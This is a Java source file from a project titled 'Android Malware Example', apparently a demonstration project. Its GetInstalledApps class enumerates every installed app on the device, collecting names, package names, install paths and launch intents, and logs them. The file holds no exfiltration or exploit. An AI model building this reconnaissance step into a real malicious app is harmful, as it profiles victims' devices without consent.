/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.util.Log;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by darrylb on 10/2/16.
 */
public class GetInstalledApps {
    Context context;
    ConfigParams configParams;
    //private List<String> myApps;
    private List<ApplicationInformation> apps;
    public GetInstalledApps(Context _context) {
        context = _context;
        configParams = new ConfigParams(context);
        //myApps = new ArrayList<String>();
        apps = new ArrayList<ApplicationInformation>();
    }
    public class ApplicationInformation {
         public String AppName;
         public String PackageName;
         public String SourceDir;
         public String Intent;

    }
    public List<ApplicationInformation> getApps() {
        final PackageManager pm = context.getPackageManager();
//get a list of installed apps.
        List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

        for (ApplicationInfo packageInfo : packages) {

            PackageManager packageManager= context.getApplicationContext().getPackageManager();
            String appName="";
            try {
                 appName = (String) packageManager.getApplicationLabel(packageManager.getApplicationInfo(packageInfo.packageName, PackageManager.GET_META_DATA));
            } catch (Exception ex){
                appName="Unknown";

            }
            String _apps = String.format("Package: %20s [%40s] Dir: [%20s] Activity:[%20s]",appName,packageInfo.packageName,packageInfo.sourceDir,
                    pm.getLaunchIntentForPackage(packageInfo.packageName));
            ApplicationInformation app = new ApplicationInformation();
            app.AppName = appName;
            app.PackageName = packageInfo.packageName;
            app.SourceDir = packageInfo.sourceDir;
            Intent _x =pm.getLaunchIntentForPackage(packageInfo.packageName);
            app.Intent = "";
            if (_x != null){
                app.Intent = _x.toString();
            }
            apps.add(app);

            if (configParams.Logging)  Log.d(configParams.PROGID,_apps);
//            Log.d(configParams.PROGID, "Installed package :" +packageInfo.name+"[" + packageInfo.packageName+"]");
//            Log.d(configParams.PROGID, "Source dir : " + packageInfo.sourceDir);
//            Log.d(configParams.PROGID, "Launch Activity :" + pm.getLaunchIntentForPackage(packageInfo.packageName));
        }
    return apps;
    }

}
